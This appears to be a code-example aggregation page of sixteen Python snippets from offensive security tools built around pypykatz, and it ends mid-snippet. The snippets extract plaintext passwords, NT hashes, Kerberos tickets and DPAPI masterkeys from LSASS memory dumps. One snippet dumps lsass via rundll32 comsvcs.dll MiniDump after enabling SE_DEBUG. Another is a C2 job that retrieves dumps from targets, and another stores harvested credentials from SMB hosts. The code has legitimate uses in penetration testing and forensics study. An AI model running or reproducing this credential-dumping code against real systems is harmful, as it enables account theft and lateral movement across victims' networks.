예제 #1
0
    def run(self, args):
        files_with_error = []
        results = {}
        ###### Rekall
        if args.cmd == 'rekall':
            if args.kerberos_dir is not None and 'all' not in args.packages:
                args.packages.append('ktickets')
            mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile,
                                                     args.timestamp_override,
                                                     packages=args.packages)
            results['rekall'] = mimi

        ###### Minidump
        elif args.cmd == 'minidump':
            if args.directory:
                dir_fullpath = os.path.abspath(args.memoryfile)
                file_pattern = '*.dmp'
                if args.recursive == True:
                    globdata = os.path.join(dir_fullpath, '**', file_pattern)
                else:
                    globdata = os.path.join(dir_fullpath, file_pattern)

                logger.info('Parsing folder %s' % dir_fullpath)
                for filename in glob.glob(globdata, recursive=args.recursive):
                    logger.info('Parsing file %s' % filename)
                    try:
                        if args.kerberos_dir is not None and 'all' not in args.packages:
                            args.packages.append('ktickets')
                        mimi = pypykatz.parse_minidump_file(
                            filename, packages=args.packages)
                        results[filename] = mimi
                        if args.halt_on_error == True and len(mimi.errors) > 0:
                            raise Exception('Error in modules!')
                    except Exception as e:
                        files_with_error.append(filename)
                        logger.exception('Error parsing file %s ' % filename)
                        if args.halt_on_error == True:
                            raise e
                        else:
                            pass

            else:
                logger.info('Parsing file %s' % args.memoryfile)
                try:
                    if args.kerberos_dir is not None and 'all' not in args.packages:
                        args.packages.append('ktickets')
                    mimi = pypykatz.parse_minidump_file(args.memoryfile,
                                                        packages=args.packages)
                    results[args.memoryfile] = mimi
                    if args.halt_on_error == True and len(mimi.errors) > 0:
                        raise Exception('Error in modules!')
                except Exception as e:
                    logger.exception('Error while parsing file %s' %
                                     args.memoryfile)
                    if args.halt_on_error == True:
                        raise e
                    else:
                        traceback.print_exc()

        self.process_results(results, files_with_error, args)
예제 #2
0
    def get_by_procdump(self):
        try:
            mimi = pypykatz.parse_minidump_file(self.file_dump)
        except:
            return {}

        return self._extract_from_dump(mimi, 'procdump')
예제 #3
0
    def process(self, context, output):
        if self._new_dmp_file == True:
            self._new_dmp_file = False
            self.gzip_file = f"./data/logs/{context.session.guid}/minidump_{datetime.now().strftime('%Y_%m_%d_%H%M%S')}.gz"
            self.decompressed_file = f"./data/logs/{context.session.guid}/minidump_{datetime.now().strftime('%Y_%m_%d_%H%M%S')}.bin"

        try:
            file_chunk = output['data']
            with open(self.gzip_file, 'ab+') as reassembled_gzip_file:
                reassembled_gzip_file.write(b64decode(file_chunk))

            if output['current_chunk_n'] == (output['chunk_n'] + 1):
                try:
                    with open(self.decompressed_file,
                              'wb') as reassembled_file:
                        with gzip.open(self.gzip_file) as compressed_mem_dump:
                            reassembled_file.write(compressed_mem_dump.read())
                except Exception as e:
                    logging.error(
                        f"Error decompressing re-assembled memory dump: {e}")

                results = pypykatz.parse_minidump_file(self.decompressed_file)
                self._new_dmp_file = True
                return json.dumps(results,
                                  cls=UniversalEncoder,
                                  indent=4,
                                  sort_keys=True)

            else:
                return f"Processed chunk {output['current_chunk_n']}/{output['chunk_n'] + 1}"
        except TypeError:
            return output
예제 #4
0
    def run(self, args):
        files_with_error = []
        results = {}
        ###### Rekall
        if args.cmd == 'rekall':
            mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile,
                                                     args.timestamp_override)
            results['rekall'] = mimi

        ###### Minidump
        elif args.cmd == 'minidump':
            if args.directory:
                dir_fullpath = os.path.abspath(args.memoryfile)
                file_pattern = '*.dmp'
                if args.recursive == True:
                    globdata = os.path.join(dir_fullpath, '**', file_pattern)
                else:
                    globdata = os.path.join(dir_fullpath, file_pattern)

                logging.info('Parsing folder %s' % dir_fullpath)
                for filename in glob.glob(globdata, recursive=args.recursive):
                    logging.info('Parsing file %s' % filename)
                    try:
                        mimi = pypykatz.parse_minidump_file(filename)
                        results[filename] = mimi
                    except Exception as e:
                        files_with_error.append(filename)
                        logging.exception('Error parsing file %s ' % filename)
                        if args.halt_on_error == True:
                            raise e
                        else:
                            pass

            else:
                logging.info('Parsing file %s' % args.memoryfile)
                try:
                    mimi = pypykatz.parse_minidump_file(args.memoryfile)
                    results[args.memoryfile] = mimi
                except Exception as e:
                    logging.exception('Error while parsing file %s' %
                                      args.memoryfile)
                    if args.halt_on_error == True:
                        raise e
                    else:
                        traceback.print_exc()

        self.process_results(results, files_with_error, args)
예제 #5
0
    def parsedump(self, loggers, smb_con, dumpfile):
        # Modified from:
        # https://github.com/awsmhacks/CrackMapExtreme/blob/a3a0ca13014b88dd2feb6db2ac522e2573321d6c/cmx/protocols/smb.py
        # & Inspiration by @HackAndDo aka Pixis for these parse bits
        arg = Namespace(outfile=False,
                        json=False,
                        grep=False,
                        kerberos_dir=False,
                        recursive=False,
                        directory=False)

        out = pypykatz.parse_minidump_file(dumpfile)

        f = io.StringIO()
        with redirect_stdout(f):  # Hides output
            LSACMDHelper().process_results({"dumpfile": out}, [], arg)

        logger = loggers['console']
        db_updates = 0
        for cred in self.parse_output(f.getvalue()):
            if cred['Password']:
                smb_con.db.update_user(cred['Username'], cred['Password'],
                                       cred['Domain'], '')
                logger.success([
                    smb_con.host, smb_con.ip,
                    self.name.upper(),
                    "{}\\{}:{}".format(cred['Domain'], cred['Username'],
                                       cred['Password'])
                ])
                db_updates += 1

            elif cred['Hash']:
                smb_con.db.update_user(cred['Username'], '', cred['Domain'],
                                       cred['Hash'])
                logger.success([
                    smb_con.host, smb_con.ip,
                    self.name.upper(),
                    "{}\\{}:{}".format(cred['Domain'], cred['Username'],
                                       cred['Hash'])
                ])
                db_updates += 1

        logger.info([
            smb_con.host, smb_con.ip,
            self.name.upper(),
            "{} credentials updated in database".format(db_updates)
        ])
        logger.info([
            smb_con.host, smb_con.ip,
            self.name.upper(),
            "Dmp file saved to: {}".format(self.local_output)
        ])
예제 #6
0
파일: loot.py 프로젝트: ruytaan/PowerHub
def save_loot(file, loot_id, encrypted=False):
    """Process the loot file"""

    filename = save_file(file, dir=LOOT_DIR, encrypted=encrypted)
    loot_type = get_loot_type(filename)
    log.debug("Saving %s [%s]" % (filename, loot_type))
    if loot_type == "DMP":
        from pypykatz.pypykatz import pypykatz
        mimi = pypykatz.parse_minidump_file(filename)
        creds = [json.loads(v.to_json())
                 for _, v in mimi.logon_sessions.items()]
        store_minidump(loot_id, json.dumps(creds), filename)
    elif loot_type == "SYSINFO":
        add_sysinfo(loot_id, filename)
    else:  # registry hive
        add_hive(loot_id, loot_type, filename)
예제 #7
0
    def get_masterkeys_from_lsass_dump(self, file_path):
        """
		Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys
		
		file_path: path to the mindiump file
		return: dictionary of guid->keybytes
		"""
        from pypykatz.pypykatz import pypykatz
        katz = pypykatz.parse_minidump_file(file_path)
        for x in katz.logon_sessions:
            for dc in katz.logon_sessions[x].dpapi_creds:
                logger.debug(
                    '[DPAPI] Got masterkey for GUID %s via minidump LSASS method'
                    % dc.key_guid)
                self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey)

        return self.masterkeys
예제 #8
0
def save_loot(file, loot_id, encrypted=False):
    """Process the loot file"""

    filename = save_file(file, dir=LOOT_DIR, encrypted=encrypted)
    loot_type = get_loot_type(filename)
    try:
        if loot_type == "DMP":
            from pypykatz.pypykatz import pypykatz
            mimi = pypykatz.parse_minidump_file(filename)
            creds = [
                json.loads(v.to_json())
                for _, v in mimi.logon_sessions.items()
            ]
            store_minidump(loot_id, json.dumps(creds), filename)
        elif loot_type == "SYSINFO":
            add_sysinfo(loot_id, filename)
        else:  # registry hive
            add_hive(loot_id, loot_type, filename)
    except ImportError as e:
        log.error("You have unmet dependencies, loot could not be processed")
        log.exception(e)
예제 #9
0
    def get_masterkeys_from_lsass_dump(self, file_path):
        """
		Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys
		
		file_path: path to the mindiump file
		return: dictionary of guid->keybytes
		"""
        from pypykatz.pypykatz import pypykatz
        katz = pypykatz.parse_minidump_file(file_path)
        for x in katz.logon_sessions:
            for dc in katz.logon_sessions[x].dpapi_creds:
                logger.debug(
                    '[DPAPI] Got masterkey for GUID %s via minidump LSASS method'
                    % dc.key_guid)
                self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey)

        for package, _, _, nthex, lmhex, shahex, _, _, _, plaintext in katz.logon_sessions[
                x].to_grep_rows():
            if package.lower() == 'dpapi':
                continue

            sids = [katz.logon_sessions[x].sid]
            for sid in sids:
                if plaintext is not None:
                    self.get_prekeys_from_password(sid,
                                                   password=plaintext,
                                                   nt_hash=None)
                if nthex is not None and len(nthex) == 32:
                    self.get_prekeys_from_password(sid,
                                                   password=None,
                                                   nt_hash=nthex)

            if shahex is not None and len(shahex) == 40:
                self.prekeys[bytes.fromhex(shahex)] = 1

        return self.masterkeys
예제 #10
0
    def from_lsass_dump(filename, ad_id=-1):

        mimi = pypykatz.parse_minidump_file(filename)
        return Credential.lsass_generator(mimi, ad_id=ad_id)
예제 #11
0
            ckeys = []
            [[ckeys.append(k) for k in row if k not in ckeys]
             for row in cred_dict]

            separators = collections.OrderedDict([(k, "-" * len(k))
                                                  for k in ckeys])
            cred_dict = [separators] + cred_dict
            parsed_data += banner
            parsed_data += tabulate(cred_dict,
                                    headers="keys",
                                    tablefmt="plain")
            parsed_data += "\n\n"

        data = parsed_data

        return data
    except Exception as e:
        data += "\n\n\n"
        data += traceback.format_exc()
        return data


if len(sys.argv) != 2:
    print("Usage: ./parse_mimikatz LSASS.DMP")
    sys.exit()

mimi = pypykatz.parse_minidump_file(sys.argv[1])
json_results = json.loads(json.dumps([mimi], cls=UniversalEncoder))[0]

print(parse_pypykatz(json_results))
예제 #12
0
    def report(self, handler, data, sanitize=False):

        task = handler.get_header("Task", False)

        if task == 'pid':
            handler.reply(200)
            self.print_status("Detected lsass.exe process ID: " +
                              data.decode() + "...")
            return

        if task == 'nopid':
            handler.reply(200)
            self.print_status(
                "Could not identify lsass.exe process ID. Please provide manually..."
            )
            return

        if task == 'startrun':
            handler.reply(200)
            self.print_status("Creating a MiniDump with comsvcs.dll...")
            return

        if task == 'endrun':
            handler.reply(200)
            self.print_status("Finished creating MiniDump...")
            return

        if task == 'upload':
            handler.reply(200)
            self.print_status("Downloading lsass bin file...")
            return

        if task == 'delbin':
            handler.reply(200)
            self.print_status("Removing lsass bin file from target...")
            super(ComsvcsLSASSJob, self).report(handler, data, False)

        if task == 'dump':
            self.save_fname = self.options.get(
                "LPATH") + "/lsass." + self.ip + "." + uuid.uuid4().hex
            self.save_fname = self.save_fname.replace("//", "/")

            i = 0
            step = int(self.options.get("CHUNKSIZE"))
            partfiles = []
            datalen = len(data)
            while i < datalen:
                with open(self.save_fname + str(i), "wb") as f:
                    partfiles.append(self.save_fname + str(i))
                    end = i + step
                    if end > datalen:
                        end = datalen
                    while True:
                        try:
                            pdata = self.decode_downloaded_data(
                                data[i:end],
                                handler.get_header("encoder", "1252"))
                        except:
                            end -= 1
                            continue
                        break
                    try:
                        # if the data is just a text file, we want to decode correctly and then re-encode
                        pdata = pdata.decode(
                            'cp' +
                            handler.get_header("encoder", "1252")).encode()
                    except:
                        pass
                    f.write(pdata)
                i = end

            with open(self.save_fname, "wb+") as f:
                for p in partfiles:
                    f.write(open(p, "rb").read())
                    os.remove(p)
            self.save_len = len(data)

            if self.options.get("CERTUTIL") == "true":
                with open(self.save_fname, "rb") as f:
                    data = f.read()
                data = self.decode_downloaded_data(data, "936")
                with open(self.save_fname, "wb") as f:
                    f.write(data)

            self.print_status("Download complete, parsing with pypykatz...")

            from pypykatz.pypykatz import pypykatz
            from pypykatz.commons.common import UniversalEncoder

            r = []
            mimi = pypykatz.parse_minidump_file(self.save_fname)
            r.append(mimi)

            import json
            json_results = json.loads(json.dumps(r, cls=UniversalEncoder))[0]

            cp = core.cred_parser.CredParse(self)
            self.katz_output = cp.parse_pypykatz(json_results)
            handler.reply(200)
예제 #13
0
    def run(self, profile):
        if profile.get('lsa_secrets'):
            return profile['lsa_secrets']

        try:
            hToken = win32security.OpenThreadToken(
                win32api.GetCurrentThread(), win32security.TOKEN_ALL_ACCESS,
                True)
        except win32security.error:
            hToken = win32security.OpenProcessToken(
                win32api.GetCurrentProcess(), win32security.TOKEN_ALL_ACCESS)
        prev_state = ()
        new_state = [
            (win32security.LookupPrivilegeValue(None,
                                                win32security.SE_DEBUG_NAME),
             win32security.SE_PRIVILEGE_ENABLED)
        ]
        prev_state = win32security.AdjustTokenPrivileges(
            hToken, False, new_state)
        lsass_file = tempfile.mktemp('.dmp',
                                     dir=os.getenv('SystemDrive', 'C:') + '\\')
        try:
            lsass_pid = 0
            for me in psutil.process_iter():
                try:
                    if me.exe().lower() == r'c:\windows\system32\lsass.exe':
                        lsass_pid = me.pid
                except:
                    pass
            if lsass_pid:
                try:
                    with disable_fsr():
                        subprocess.Popen([
                            'rundll32.exe',
                            r'C:\Windows\System32\comsvcs.dll,', 'MiniDump',
                            str(lsass_pid), lsass_file, 'full'
                        ],
                                         stdin=subprocess.PIPE,
                                         stderr=subprocess.STDOUT,
                                         stdout=subprocess.PIPE,
                                         universal_newlines=True,
                                         shell=True).communicate()
                except:
                    lsass_pid = 0
            if not lsass_pid:
                lsass_file = 'C:\\lsassproc.dmp'
                assert os.path.isfile(lsass_file)
        finally:
            if prev_state:
                win32security.AdjustTokenPrivileges(hToken, False, prev_state)

        results = {}
        try:
            results = pypykatz.parse_minidump_file(lsass_file)
            results.reader.reader.file_handle.close()
            results = results.to_dict()
            os.remove(lsass_file)
        except Exception as e:
            pass

        return results
예제 #14
0
def parseDumps(dumpFolder):
    logging.warning("%sParsing every minidump of %smisc/dumps%s..." %
                    (warningGre, green, white))

    credentials = []
    results = {}
    dico = {}

    globdata = os.path.join(dumpDir, '*.dmp')

    for filename in glob.glob(globdata):
        try:
            mimi = pypykatz.parse_minidump_file(filename)
            results[filename] = mimi
            logging.info("%s%s: %sdone%s." %
                         (infoYellow, filename, green, white))
        except Exception as e:
            logging.info("%s%s: %sfailed%s. (Please see -w switch)" %
                         (infoYellow, filename, red, white))

    for result in results:
        for luid in results[result].logon_sessions:
            try:
                dico = results[result].logon_sessions[luid].to_dict()

                for cred in results[result].logon_sessions[luid].msv_creds:
                    if '$' not in cred.username:
                        credentials.append(
                            (cred.domainname, cred.username, 'NA',
                             (cred.LMHash.hex() if cred.LMHash else 'NA'),
                             (cred.NThash.hex() if cred.NThash else 'NA')))

                for cred in results[result].logon_sessions[luid].wdigest_creds:
                    if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                        credentials.append((cred.domainname, cred.username,
                                            cred.password, 'NA', 'NA'))
                ''' Little bug with this one ?
                for cred in results[result].logon_sessions[luid].ssp_creds:
                    if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                        credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA'))
                '''

                for cred in results[result].logon_sessions[luid].livessp_creds:
                    if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                        credentials.append((cred.domainname, cred.username,
                                            cred.password, 'NA', 'NA'))

                for cred in results[result].logon_sessions[
                        luid].kerberos_creds:
                    if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                        credentials.append((cred.domainname, cred.username,
                                            cred.password, 'NA', 'NA'))

                for cred in results[result].logon_sessions[luid].credman_creds:
                    if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                        credentials.append((cred.domain, cred.username,
                                            cred.password, 'NA', 'NA'))

                for cred in results[result].logon_sessions[luid].tspkg_creds:
                    if cred.password and "TBAL" not in cred.password and '$' not in cred.domainname:
                        credentials.append((cred.username, cred.domainname,
                                            cred.password, 'NA', 'NA'))
            except Exception as e:
                logging.warning(
                    "%sA problem occurs with target when accessing value (pypykatz). Err: %s"
                    % (warningRed, e))

    credentials = list(skip_duplicates(credentials))

    logging.warning("%sFollowing %scredentials%s were retrieved:" %
                    (warningGre, green, white))

    if not credentials:
        logging.warning("%s  No credentials found." % (warningRed))
        return None
    else:
        return credentials
예제 #15
0
def main():
	import argparse
	import glob

	parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --or at least some parts of it--')
	parser.add_argument('-v', '--verbose', action='count', default=0)
	parser.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
	parser.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed')
	parser.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
	parser.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')

	subparsers = parser.add_subparsers(help = 'commands')
	subparsers.required = True
	subparsers.dest = 'command'
	
	minidump_group = subparsers.add_parser('minidump', help='List all tickets in the file')
	minidump_group.add_argument('minidumpfile', help='path to the minidump file or a folder (if -r is set)')
	minidump_group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing')
	minidump_group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder')
	
	
	live_group = subparsers.add_parser('live', help='List all tickets in the file')
	live_subparsers = live_group.add_subparsers(help = 'module')
	live_subparsers.required = True
	live_subparsers.dest = 'module'
	live_subparser_lsa_group = live_subparsers.add_parser('lsa', help='List all tickets in the file')
	
	####### PARSING ARGUMENTS
	
	args = parser.parse_args()
	
	
	###### VERBOSITY
	if args.verbose == 0:
		logging.basicConfig(level=logging.INFO)
	elif args.verbose == 1:
		logging.basicConfig(level=logging.DEBUG)
	else:
		level = 5 - args.verbose
		logging.basicConfig(level=level)
	
	##### Common obj
	results = {}
	files_with_error = []
	
	
	###### Live 
	if args.command == 'live':
		if args.module == 'lsa':
			filename = 'live'
			try:
				mimi = pypykatz.go_live()
				results['live'] = mimi
			except Exception as e:
				files_with_error.append(filename)
				if args.halt_on_error == True:
					raise e
				else:
					print('Exception while dumping LSA credentials from memory.')
					traceback.print_exc()
					pass
		
	###### Minidump
	elif args.command == 'minidump':		
		if args.directory:
			dir_fullpath = os.path.abspath(args.minidumpfile)
			file_pattern = '*.dmp'
			if args.recursive == True:
				globdata = os.path.join(dir_fullpath, '**', file_pattern)
			else:	
				globdata = os.path.join(dir_fullpath, file_pattern)
				
			logging.info('Parsing folder %s' % dir_fullpath)
			for filename in glob.glob(globdata, recursive=args.recursive):
				logging.info('Parsing file %s' % filename)
				try:
					mimi = pypykatz.parse_minidump_file(filename)
					results[filename] = mimi
				except Exception as e:
					files_with_error.append(filename)
					logging.exception('Error parsing file %s ' % filename)
					if args.halt_on_error == True:
						raise e
					else:
						pass
				
		else:
			logging.info('Parsing file %s' % args.minidumpfile)
			try:
				mimi = pypykatz.parse_minidump_file(args.minidumpfile)
				results[args.minidumpfile] = mimi
			except Exception as e:
				logging.exception('Error while parsing file %s' % args.minidumpfile)
				if args.halt_on_error == True:
					raise e
				else:
					traceback.print_exc()
			

	if args.outfile and args.json:
		with open(args.outfile, 'w') as f:
			json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
	
	elif args.outfile:
		with open(args.outfile, 'w') as f:
			for result in results:
				f.write('FILE: ======== %s =======\n' % result)
				
				for luid in results[result].logon_sessions:
					f.write('\n'+str(results[result].logon_sessions[luid]))
				
				if len(results[result].orphaned_creds) > 0:
					f.write('\n== Orphaned credentials ==\n')
					for cred in results[result].orphaned_creds:
						f.write(str(cred))
				
			if len(files_with_error) > 0:
				f.write('\n== Failed to parse these files:\n')
				for filename in files_with_error:
					f.write('%s\n' % filename)
			
	elif args.json:
		print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
	
	else:
		for result in results:
			print('FILE: ======== %s =======' % result)	
			if isinstance(results[result], str):
				print(results[result])
			else:
				for luid in results[result].logon_sessions:
					print(str(results[result].logon_sessions[luid]))
						
				if len(results[result].orphaned_creds) > 0:
					print('== Orphaned credentials ==')
					for cred in results[result].orphaned_creds:
						print(str(cred))
						
				

		if len(files_with_error) > 0:			
			print('\n==== Parsing errors:')
			for filename in files_with_error:
				print(filename)
	
	
	if args.kerberos_dir:
		dir = os.path.abspath(args.kerberos_dir)
		logging.info('Writing kerberos tickets to %s' % dir)
		for filename in results:
			base_filename = ntpath.basename(filename)
			ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
			results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename))
			for luid in results[filename].logon_sessions:
				for kcred in results[filename].logon_sessions[luid].kerberos_creds:
					for ticket in kcred.tickets:
						ticket.to_kirbi(dir)
						
			for cred in results[filename].orphaned_creds:
				if cred.credtype == 'kerberos':
					for ticket in cred.tickets:
						ticket.to_kirbi(dir)			
예제 #16
0
def main():
    import argparse
    import glob

    parser = argparse.ArgumentParser(
        description=
        'Pure Python implementation of Mimikatz --or at least some parts of it--'
    )
    parser.add_argument('-v', '--verbose', action='count', default=0)
    parser.add_argument('--json',
                        action='store_true',
                        help='Print credentials in JSON format')
    parser.add_argument('-e',
                        '--halt-on-error',
                        action='store_true',
                        help='Stops parsing when a file cannot be parsed')
    parser.add_argument(
        '-o',
        '--outfile',
        help=
        'Save results to file (you can specify --json for json file, or text format will be written)'
    )
    parser.add_argument('-k',
                        '--kerberos-dir',
                        help='Save kerberos tickets to a directory.')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    minidump_group = subparsers.add_parser(
        'minidump', help='Get secrets from LSASS minidump file')
    minidump_group.add_argument(
        'minidumpfile',
        help='path to the minidump file or a folder (if -r is set)')
    minidump_group.add_argument('-r',
                                '--recursive',
                                action='store_true',
                                help='Recursive parsing')
    minidump_group.add_argument('-d',
                                '--directory',
                                action='store_true',
                                help='Parse all dump files in a folder')

    live_group = subparsers.add_parser('live',
                                       help='Get secrets from live machine')
    live_subparsers = live_group.add_subparsers(help='module')
    live_subparsers.required = True
    live_subparsers.dest = 'module'
    live_subparser_lsa_group = live_subparsers.add_parser(
        'lsa', help='Get all secrets from LSASS')
    live_subparser_registry_group = live_subparsers.add_parser(
        'registry', help='Get all secrets from registry')
    live_subparser_process_group = live_subparsers.add_parser(
        'process', help='Process creating/manipulation commands')
    live_subparser_process_group.add_argument('cmd', choices=['create'])
    live_subparser_process_group.add_argument(
        '-i',
        '--interactive',
        action='store_true',
        help='Spawns a new interactive process')
    live_subparser_process_group.add_argument(
        '--sid', help='Impersonate given SID in new process')
    live_subparser_process_group.add_argument(
        '-c', '--cmdline', help='The process to execute. Default: cmd.exe')

    live_subparser_token_group = live_subparsers.add_parser(
        'token', help='Token creating/manipulation commands')
    live_subparser_token_group.add_argument('cmd', choices=['list', 'current'])
    live_subparser_token_group.add_argument(
        '-f',
        '--force',
        action='store_true',
        help=
        'Tries to list as many tokens as possible without SE_DEBUG privilege')
    live_subparser_users_group = live_subparsers.add_parser(
        'users', help='User creating/manipulation commands')
    live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami'])

    live_subparser_dpapi_group = live_subparsers.add_parser(
        'dpapi', help='DPAPI (live) related commands')
    live_subparser_dpapi_group.add_argument(
        '-r',
        '--method_registry',
        action='store_true',
        help='Getting prekeys from LIVE registry')
    live_subparser_dpapi_group.add_argument('--vpol', help='VPOL file')
    live_subparser_dpapi_group.add_argument('--vcred', help='VCRED file')
    live_subparser_dpapi_group.add_argument('--cred', help='credential file')
    live_subparser_dpapi_group.add_argument('--mkf', help='masterkey file')

    dpapi_group = subparsers.add_parser(
        'dpapi', help='DPAPI (offline) related commands')
    dpapi_group.add_argument('cmd',
                             choices=['masterkey', 'credential', 'vault'])
    dpapi_group.add_argument(
        '-r',
        '--method_registry',
        action='store_true',
        help=
        'Getting prekeys from registry hive files. Using this you will need to also supply system, security and optionally sam switches'
    )
    dpapi_group.add_argument('--system', help='Path to SYSTEM hive file')
    dpapi_group.add_argument('--sam', help='Path to SAM hive file')
    dpapi_group.add_argument('--security', help='Path to SECURITY hive file')
    dpapi_group.add_argument('--vcred', help='VCRED file')
    dpapi_group.add_argument('--cred', help='credential file')
    dpapi_group.add_argument('--mkf', help='masterkey file')
    dpapi_group.add_argument(
        '--key',
        help=
        'Key used for decryption. The usage of this key depends on what other params you supply.'
    )
    dpapi_group.add_argument(
        '--sid',
        help=
        'Key used for decryption. The usage of this key depends on what other params you supply.'
    )
    dpapi_group.add_argument(
        '--password',
        help=
        'Key used for decryption. The usage of this key depends on what other params you supply.'
    )

    rekall_group = subparsers.add_parser('rekall',
                                         help='Get secrets from memory dump')
    rekall_group.add_argument('memoryfile',
                              help='path to the memory dump file')
    rekall_group.add_argument(
        '-t',
        '--timestamp_override',
        type=int,
        help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)')

    registry_group = subparsers.add_parser(
        'registry', help='Get secrets from registry files')
    registry_group.add_argument('system',
                                help='path to the SYSTEM registry hive')
    registry_group.add_argument('--sam', help='path to the SAM registry hive')
    registry_group.add_argument('--security',
                                help='path to the SECURITY registry hive')

    ####### PARSING ARGUMENTS

    args = parser.parse_args()

    ###### VERBOSITY
    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
    else:
        level = 5 - args.verbose
        logging.basicConfig(level=level)

    ##### Common obj
    results = {}
    files_with_error = []

    ###### Live
    if args.command == 'live':
        if args.module == 'lsa':
            filename = 'live'
            try:
                mimi = pypykatz.go_live()
                results['live'] = mimi
            except Exception as e:
                files_with_error.append(filename)
                if args.halt_on_error == True:
                    raise e
                else:
                    print(
                        'Exception while dumping LSA credentials from memory.')
                    traceback.print_exc()
                    pass

        elif args.module == 'registry':
            from pypykatz.registry.live_parser import LiveRegistry
            lr = None
            try:
                lr = LiveRegistry.go_live()
            except Exception as e:
                logging.debug(
                    'Failed to obtain registry secrets via direct registry reading method'
                )
                try:
                    lr = OffineRegistry.from_live_system()
                except Exception as e:
                    logging.debug(
                        'Failed to obtain registry secrets via filedump method'
                    )

            if lr is not None:
                if args.outfile:
                    lr.to_file(args.outfile, args.json)
                else:
                    print(str(lr))
            else:
                print('Registry parsing failed!')

        elif args.module == 'process':
            if args.cmd == 'create':
                from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
                pm = ProcessManipulator()
                sid = 'S-1-5-18'
                if args.sid is not None:
                    sid = args.sid

                if args.cmdline is not None:
                    cmdline = args.cmdline
                else:
                    #looking for the correct path...
                    cmdline = os.environ['ComSpec']

                pm.create_process_for_sid(target_sid=sid,
                                          cmdline=cmdline,
                                          interactive=args.interactive)
                return

        elif args.module == 'token':
            from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
            if args.cmd == 'list':
                pm = ProcessManipulator()
                for ti in pm.list_all_tokens(args.force):
                    print(str(ti))
                return

            if args.cmd == 'current':
                pm = ProcessManipulator()
                token_info = pm.get_current_token_info()
                print(str(token_info))
                return

        elif args.module == 'users':
            from pypykatz.commons.winapi.machine import LiveMachine

            if args.cmd == 'list':
                lm = LiveMachine()
                users = lm.list_users()
                for sid in users:
                    print(str(users[sid]))

            elif args.cmd == 'whoami':
                lm = LiveMachine()
                user = lm.get_current_user()
                print(str(user))

        elif args.module == 'dpapi':
            from pypykatz.dpapi.dpapi import DPAPI

            dpapi = DPAPI()
            #####pre-key section
            if args.method_registry == True:
                dpapi.get_prekeys_form_registry_live()

                if not args.mkf:
                    raise Exception(
                        'Live registry method requires masterkeyfile to be set!'
                    )

                dpapi.decrypt_masterkey_file(args.mkf)

            else:
                dpapi.get_masterkeys_from_lsass_live()

            #decryption stuff
            if args.vcred:
                if args.vpol is None:
                    raise Exception(
                        'for VCRED decryption you must suppliy VPOL file')
                dpapi.decrypt_vpol_file(args.vpol)
                res = dpapi.decrypt_vcrd_file(args.vcred)
                for attr in res:
                    for i in range(len(res[attr])):
                        if res[attr][i] is not None:
                            print('AttributeID: %s Key %s' % (attr.id, i))
                            print(hexdump(res[attr][i]))

            elif args.vpol:
                key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
                print('VPOL key1: %s' % key1.hex())
                print('VPOL key2: %s' % key2.hex())

            elif args.cred:
                cred_blob = dpapi.decrypt_credential_file(args.cred)
                print(cred_blob.to_text())

            else:
                #just printing masterkeys
                for guid in dpapi.masterkeys:
                    print('GUID: %s MASTERKEY: %s' %
                          (guid, dpapi.masterkeys[guid].hex()))

                if len(dpapi.masterkeys) == 0:
                    print('Failed to decrypt masterkey')

    ###### DPAPI offline
    elif args.command == 'dpapi':
        from pypykatz.dpapi.dpapi import DPAPI

        if args.key is not None:
            key = bytes.fromhex(args.key)

        dpapi = DPAPI()
        if args.cmd == 'masterkey':
            if args.mkf is None:
                raise Exception('You need to provide a masterkey file.')

            if args.method_registry == True:
                if args.system is None or args.security is None:
                    raise Exception(
                        'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!'
                    )

                dpapi.get_prekeys_form_registry_files(args.system,
                                                      args.security, args.sam)
                dpapi.decrypt_masterkey_file(args.mkf)

            elif args.key is not None:
                dpapi.decrypt_masterkey_file(args.mkf, key)

            elif args.sid is not None:
                pw = args.password
                if args.password is None:
                    import getpass
                    pw = getpass.getpass()

                dpapi.get_prekeys_from_password(args.sid, pw)
                dpapi.decrypt_masterkey_file(args.mkf)

            else:
                raise Exception(
                    'For masterkey decryption you must provide either registry hives OR key data OR SID and password'
                )

            for guid in dpapi.masterkeys:
                print('GUID %s MASTERKEY %s' %
                      (guid, dpapi.masterkeys[guid].hex()))
            if len(dpapi.masterkeys) == 0:
                print('Failed to decrypt the masterkeyfile!')

        elif args.cmd == 'credential':
            if args.key is not None:
                cred_blob = dpapi.decrypt_credential_file(args.cred, key)
                print(cred_blob.to_text())

            else:
                if args.method_registry == True:
                    if args.system is None or args.security is None:
                        raise Exception(
                            'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!'
                        )

                    dpapi.get_prekeys_form_registry_files(
                        args.system, args.security, args.sam)
